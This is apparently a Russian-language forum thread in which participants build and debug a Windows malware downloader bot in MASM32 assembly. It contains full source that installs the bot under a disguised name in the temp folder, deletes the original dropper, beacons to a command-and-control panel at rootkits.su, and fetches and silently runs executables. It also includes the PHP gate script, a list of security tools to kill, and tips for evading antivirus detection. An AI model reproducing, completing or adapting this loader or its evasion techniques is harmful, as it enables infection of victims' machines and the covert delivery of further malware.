И зря!Все ты можешь.На сокетах я пример приводила.М ожно допилить и юзать.Там же просто.
.if xx.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY
.if fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY
надо проверять через test или and.
Код|Code
.if fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY
А не подсказали бы, то сам бы никогда не подумал даже, что такое может быть.
Мне в некоторые вещи приходится неделями въезжать... Да и потом... кто сказал что будет легко?даже имея твой сорц на руках, я сидел дня два, пока не въехал полностью
Хз, может и так..p.s. думаю все через это проходили...
некоторые в частности egui.exe, spiderui.exe защищены от килла....regmon.exe
filemon.exe
regshot.exe
procdump.exe
cports.exe
procexp.exe
dumpcap.exe
KillProcess.exe
PrcInfo.exe
phunter.exe
UnlockerAssistant.exe
Unlocker.exe
Prcview.exe
TaskInfo.exe
egui.exe
sysinspector.exe
spiderui.exe
.386
.model flat, stdcall
option casemap:none
getTask PROTO :DWORD
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,masm32,user32,wininet,shell32,urlmon,msvcrt,ws2_32
.data
uri db "/newgate/gate.php?id=%.8x",0
host db "rootkits.su",0
uag db "Mozilla",0
request db "GET %s HTTP/1.0",0dh,0ah
db "Host: %s",0dh,0ah
db "Connection: Close",0dh,0ah,0dh,0ah,0
fname db "bot.exe",0;добавить потом рендомное имя
.data?
lpMem dd ?;указатель на память в хипе
VSNumber dd ?;серийный номер диска
hThread dd ?;хендл потока
.code
main PROC
local heaph:dword;указатель на хип
local first[32]:byte;параметры командной строки - тип операции(удалить, апдейтить)
local second[MAX_PATH]:byte;путь к изначальному файлу
local curfname:dword;текущий путь к файлу
local newfname:dword;путь к файлу в темп, т.е. к новому
local newdir:dword;для установки текущей директории
local tmpbuf:dword;временный буфер для атома
invoke GetVolumeInformation,0,0,0,addr VSNumber,0,0,0,0;айди - серийный номер диска
invoke wsprintf,addr tmpbuf,chr$("%d"),VSNumber;переводим в строку
invoke GlobalFindAtom,addr tmpbuf;ищем такой атом
invoke GetLastError
.if eax!=ERROR_FILE_NOT_FOUND;атом есть, значит не первый запуск
Invoke ExitProcess,0;можно еще стукнуть в админку, что повторный запуск на том же компе
.endif
invoke GlobalAddAtom,addr tmpbuf;если атома нет, создаем его
invoke GetCL, 2, addr second; получаем второй элемент командной строки
.if eax!=1;если его нет, значит запуск без параметров
jmp @install;переходим на инсталл
.elseif eax==1;если же с параметрами - тогда обрабатываем их,апдейт или удалить
invoke GetCL, 1, addr first;получаем 1 параметр
.if eax==1
switch$ addr first
case$ "del"
invoke Sleep,8000;ждем завершение исходного файла, т.к. мало ли
invoke DeleteFile,addr second
.if eax==0;удалить не удалось, пусть удалит его система после ребута
invoke MoveFileEx,addr second,0,MOVEFILE_DELAY_UNTIL_REBOOT
.endif
jmp @installed
case$ "upd"
nop
jmp @installed
endsw$
.endif
.endif
@install:
invoke GetProcessHeap;хип процесса
mov heaph,eax
invoke HeapAlloc,heaph,HEAP_ZERO_MEMORY,MAX_PATH;выделяем память для пути к исходному файлу
mov curfname,eax
invoke HeapAlloc,heaph,HEAP_ZERO_MEMORY,MAX_PATH;выделяем память для пути к исходному файлу
mov newfname,eax
invoke HeapAlloc,heaph,HEAP_ZERO_MEMORY,MAX_PATH;выделяем память для пути к исходному файлу
mov newdir,eax
invoke GetModuleFileName,0,curfname,MAX_PATH;текущий путь к файлу
;путь к темп,добавляем к нему имя фаела
invoke ExpandEnvironmentStrings,chr$("%tmp%\GoodGoogle.exe"),newfname,MAX_PATH
;поменять имена файлов на рендомные!!!
;приводим инсталл путь к "длинному" пути - ибо сравнение не корректно реагирует
invoke GetLongPathName,newfname,newfname,MAX_PATH
invoke lstrcmpi,curfname,newfname;сравниваем текущий путь и инсталл путь
test eax,eax;если бот инсталирован
.if eax==0; переход дальше, закрытие хендлов хипа
invoke HeapFree,heaph,0,newfname
invoke HeapFree,heaph,0,curfname
jmp @installed
.endif
invoke CopyFile,curfname,newfname,FALSE;Если фолс, идет перезапись при копи
;формируем строку запроса для удаления, буфер шаблон , путь к дропперу
invoke wsprintf,addr second,chr$("%s %s"),chr$("del"),curfname
invoke ExpandEnvironmentStrings,chr$("%tmp%"),newdir,MAX_PATH
invoke ShellExecute,0,chr$("open"),newfname,addr second,newdir,SW_SPOILER
invoke HeapFree,heaph,0,newfname;освобождаем память
invoke HeapFree,heaph,0,curfname
invoke ExitProcess,0
@installed:;бот уже лежит где надо, отстук в админку за заданием
invoke GetProcessHeap;хип процесса
mov heaph,eax
invoke HeapAlloc,heaph,HEAP_ZERO_MEMORY,512;выделяем память
mov lpMem,eax; буфер для ответа сервера, там ссылка на фаел
push eax
call getTask
;Поначалу думал делать через поток, но ввиду глюков ольки отказался от этой идеи
;invoke CreateThread,NULL,NULL,offset getTask,eax,0,0;передаем указатель на хип
;mov hThread,eax
;invoke WaitForSingleObject,eax,INFINITE;ждем пока отработает поток
;invoke CloseHandle,hThread
push lpMem
call dload
invoke HeapFree,heaph,0,lpMem
push 0
call ExitProcess
main ENDP
dload PROC uses ecx p2file:dword
;скачивание файлов на сокетах
local wsa:WSADATA
local saddr:sockaddr_in
local sock:dword
local buf[400h]:byte
local buffer[5200]:byte
local fg:dword
Invoke WSAStartup,101h,addr wsa
.if eax==NO_ERROR
Invoke socket,PF_INET,SOCK_STREAM,0
.if eax!=SOCKET_ERROR
mov sock,eax
Invoke gethostbyname,offset host
.if eax!=0
mov eax,[eax+12]
mov eax,[eax]
mov eax,[eax]
mov saddr.sin_addr,eax
invoke htons,80
mov saddr.sin_port,ax
mov saddr.sin_family,AF_INET
Invoke connect,sock,addr saddr,sizeof saddr
.if eax!=SOCKET_ERROR
mov edi,p2file
mov ecx,sizeof p2file-1
mov al,'/'
@@:
inc edi;пропускаем второй слеш после http:
repne scasb
cmp byte ptr[edi],'/'
je @b
dec edi
Invoke wsprintf,addr buffer,offset request,edi,offset host
Invoke send,sock,addr buffer,eax,0
.endif
parse_head:
invoke recv,sock,addr buf,400h,0
push eax;к-тво байт, которые прочитали из сокета (сохранить)
cld
lea esi,buf
@@:
lodsb
cmp al,0Dh
jnz @b
cmp word ptr [esi+1],0A0Dh
jz head_catched;нашли? Значит конец хидеров
jmp @b
jmp parse_head;может лишнее, но вдруг хидеры будут длиннее 400h?
head_catched:
invoke _lcreat,offset fname,0
mov fg,eax
get_body:
invoke recv,sock,addr buf,400h,0
test eax,eax;если ноль
jz body_catched;скачали все данные
invoke _lwrite,fg,addr buf,eax;в еах к-тво байт считанных recv
jmp get_body
body_catched:;можно добавить какие-то проверки или хз
invoke _lclose,fg
.endif
invoke shutdown,sock,SD_BOTH
Invoke closesocket,sock
.endif
Invoke WSACleanup
invoke WinExec,offset fname,SW_SPOILER
.endif
ret
dload ENDP
getTask PROC p2buf:dword;p2buf - указатель на память в хипе
local hInternet:dword;InternetOpen handle
local hConn:dword;InternetConnect handle
local hRequest:dword;HttpOpenRequest handle
local taskbuf[128]:byte;для чтения ответа гейта
local uribuf[64]:byte;буфер для ури
local bRead:dword;байт прочитано с инета
local totalRead:dword;прочитано байт вообще, в целом
mov totalRead,0;начальная инициализация
invoke wsprintf,addr uribuf,offset uri,VSNumber;формируем строку для отстука
@gettask:
invoke InternetOpen,offset uag,INTERNET_OPEN_TYPE_PRECONFIG,0,0,0
.if eax==0;если ошибка - пробуем еще раз
invoke InternetOpen,offset uag,INTERNET_OPEN_TYPE_DIRECT,0,0,0
.endif
mov hInternet,eax
invoke InternetConnect,hInternet,offset host,INTERNET_DEFAULT_HTTP_PORT,0,0,INTERNET_SERVICE_HTTP,0,0
.if eax==0
invoke MessageBox,0,LastError$(),chr$("InternetOpenUrl Error"),MB_OK
Invoke ExitProcess,0
.endif
mov hConn,eax
invoke HttpOpenRequest,hConn,0,addr uribuf,0,0,0,INTERNET_FLAG_PRAGMA_NOCACHE or INTERNET_FLAG_RELOAD or INTERNET_FLAG_NO_CACHE_WRITE or INTERNET_FLAG_NO_AUTO_REDIRECT or INTERNET_FLAG_IGNORE_CERT_DATE_INVALID or INTERNET_FLAG_IGNORE_CERT_CN_INVALID or INTERNET_FLAG_NO_UI,0
.if eax==0
invoke MessageBox,0,LastError$(),chr$("HttpOpenRequest Error"),MB_OK
Invoke ExitProcess,0
.endif
mov hRequest,eax
invoke InternetSetOption,hRequest,INTERNET_OPTION_IGNORE_OFFLINE,0,0
invoke HttpSendRequest,hRequest,0,0,0,0
.if eax==0
invoke MessageBox,0,LastError$(),chr$("HttpSendRequest Error"),MB_OK
Invoke ExitProcess,0
.endif
invoke RtlZeroMemory,p2buf,sizeof p2buf
invoke RtlZeroMemory,addr taskbuf,sizeof taskbuf
@@:;читаем данные в цикле
invoke InternetReadFile,hRequest,addr taskbuf,127,addr bRead
cmp eax,0
jz @f
cmp bRead,0;если функция вернула 0
jz @f;выходим
push edx
mov edx,totalRead
add edx,bRead
mov totalRead,edx
pop edx
invoke crt_strncat,p2buf,addr taskbuf,bRead;копир. данные в глоб.буфер, ровно сколько вернул InternetReadFile
invoke RtlZeroMemory,addr taskbuf,sizeof taskbuf
cmp bRead,0
jnz @b
@@:
lea esi,p2buf;иначе ставим нуллбайт в конец
add esi,totalRead
mov byte ptr [esi],0
invoke InternetCloseHandle,hRequest;надо ли закрывать?
invoke InternetCloseHandle,hConn
invoke InternetCloseHandle,hInternet
invoke lstrcmp,p2buf,chr$("no task")
.if eax==0;нет задания?
invoke RtlZeroMemory,p2buf,sizeof p2buf-1
invoke Sleep,300000;пауза 5 минут и снова запрос
jmp @gettask
.endif
ret;может добавить какие-то проверки,типа если функция вернула 1, то все ок, есть задание?
getTask ENDP
end main
<?php
if (!isset($_GET['id']))
die ("go away!");
else
{
@$task = file_get_contents("task.txt");
if (strripos($task,".exe")===false) //задания нет
echo "no task";
else
echo "http://".$_SERVER['HTTP_HOST']."/newgate/".$task;
}
?>
Единственная проблема - иногда WinExec срабатывает раньше, чем скачался файл. Почему так и что делать - понять не могу. Без WinExec все работает нормально, файл скачивается в полном объеме.
)invoke MessageBox,0,LastError$(),chr$("HttpSendRequest Error"),MB_OK
Sleep я пробовал, не помогает. Такое впечатление, что хендл не закрыт где-то, или что, короче говоря, файл доступен только после завершения работы процесса лоадера
Я хочу в дальнейшем общение с админкой перевести на ssl, а сделать мне это проще будет на вининет, ибо в сокетах я пока лишь простейшие операции могу накодить. Ragnar советовал, что лучше сделать общение с админкой на https, чтобы усложнить работу аверлабам.как-то странно, получение линка - WinInet, получение ексе - сокеты.
.386
.model flat, stdcall
option casemap:none
of_ReadWrite equ 2
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,masm32,user32,wininet,shell32,urlmon,msvcrt,ws2_32
includelib \masm32\lib\irvine32.lib
.data
uri db "/newgate/gate.php?id=%.8x",0
host db "rootkits.su",0
uag db "Mozilla",0
request db "GET %s HTTP/1.0",0dh,0ah
db "Host: %s",0dh,0ah
db "Connection: Close",0dh,0ah,0dh,0ah,0
fname db "test1.exe",0
furi db "/newgate/1.exe",0
cif STARTUPINFO <>
pi PROCESS_INFORMATION <>
.data?
.code
main PROC
call dload
push 0
call ExitProcess
main ENDP
dload PROC uses ecx
;скачивание файлов на сокетах
local wsa:WSADATA
local saddr:sockaddr_in
local sock:dword
local buf[400h]:byte
local buffer[5200]:byte
local fg:dword
local bwr:dword
Invoke WSAStartup,101h,addr wsa
.if eax==NO_ERROR
Invoke socket,PF_INET,SOCK_STREAM,0
.if eax!=SOCKET_ERROR
mov sock,eax
Invoke gethostbyname,offset host
.if eax!=0
mov eax,[eax+12]
mov eax,[eax]
mov eax,[eax]
mov saddr.sin_addr,eax
invoke htons,80
mov saddr.sin_port,ax
mov saddr.sin_family,AF_INET
Invoke connect,sock,addr saddr,sizeof saddr
.if eax!=SOCKET_ERROR
Invoke wsprintf,addr buffer,offset request,offset furi,offset host
Invoke send,sock,addr buffer,eax,0
.endif
parse_head:
invoke recv,sock,addr buf,400h,0
push eax;к-тво байт, которые прочитали из сокета (сохранить)
cld
lea esi,buf
@@:
lodsb
cmp al,0Dh
jnz @b
cmp word ptr [esi+1],0A0Dh
jz head_catched;нашли? Значит конец хидеров
jmp @b
jmp parse_head ;может лишнее, но вдруг хидеры будут длиннее 400h?
head_catched:
Invoke CreateFile,offset fname,GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
mov fg,eax
pop ebx;к-тво байт, которые возвратил recv
invoke WriteFile,fg,[esi+2],ebx,addr bwr,0;запись данных из первого recv
get_body:
invoke recv,sock,addr buf,400h,0
test eax,eax;если ноль
jz body_catched;скачали все данные
mov ebx,eax
invoke WriteFile,fg,addr buf,ebx,addr bwr,0;в еах к-тво байт считанных recv
jmp get_body
body_catched:;можно добавить какие-то проверки или хз
invoke CloseHandle,fg
.endif
invoke shutdown,sock,SD_BOTH
Invoke closesocket,sock
.endif
Invoke WSACleanup
invoke _lopen,offset fname,of_ReadWrite
mov fg,eax
invoke GetFileSize,fg,0
invoke wsprintf,addr buf,chr$("%d"),eax
invoke MessageBox,0,addr buf,0,0
invoke _lclose,fg
invoke CreateProcess,offset fname,NULL,NULL,NULL,FALSE,NULL,NULL,NULL,offset cif,offset pi
.endif
ret
dload ENDP
end main
подними свой http\s сервер на локалхост и тренеруйсяУ меня он работает через раз, но у меня сейчас говноинет, посему могут быть нюансы
p.s. кстати, что интересно, данный код дает все тех же 12 детектов, что давал бы и примитивный UrlDownloadToFile Видать толку с кодинга на сокетах в данном случае, кроме практического обучения для меня, особо то и нет. Я думал, что аверы не задетектят сокеты/вининет так нагло, а им видать пофигу, чем качать.
на денвере у меня все отлично там файлы качаются без задержек и молниеносно, а вот с инета возможны нюансы. Но вроде код, что выше работает более менее,просто через раз - раз качает все 5кб, а раз 2-3. хз в общем, интересно если кто еще запустит и скажет, сработало у него или нет..
ведь если грузить таким лоадырем малвару по полметра, то будет очень грустно.
сделать вызов апи динамическими... а в таблицу импорта набросать чего нить легитимного... можешь вытащить с калькулятора...Добавить динамический импорт?
ты наверное не внимательно читал, то что я написал... эмулю глубоко фиолетово через сокеты или через выньанет ты качаешь... факт в том, что качает - значит длоадер, или как меня каждый раз улыбает детекты всяких икарусов и им подобным Trojan.Скачатьer =) Че они там курят?)Наверное эмуль, но меня удивило то, что он так легко опознал скачивание на сокетах.
Вот этот момент немного не ясен в таком случае. Я думал что авер ставит условно говоря брекпойнт на апи - вида UrlDownloadtofile - alert, а на сокеты у него отдельная эвристика. А выходит, ему пофиг, он просто мониторит сетевую активность, и хоть через что качай - ему поровну?ты наверное не внимательно читал, то что я написал... эмулю глубоко фиолетово через сокеты или через выньанет ты качаешь... факт в том, что качает - значит длоадер,
бряки никто не ставитЯ думал что авер ставит условно говоря брекпойнт на апи - вида UrlDownloadtofile - alert
нет понятия отдельная эвристика - эвристический двиг один...а на сокеты у него отдельная эвристика.
Сетевую активность мониторит фаервол. Эмуль идет по коду и найдя апи (паралельно работает эвристика...) - начисляются баллы..., собралось необходимое кол-во баллов -> детект.А выходит, ему пофиг, он просто мониторит сетевую активность, и хоть через что качай - ему поровну?
Вот! У меня тоже иногда скачивается нормально, а иногда вот это "магическое число" байт, и ес-но файл не запускается, ибо он без куска данных.4394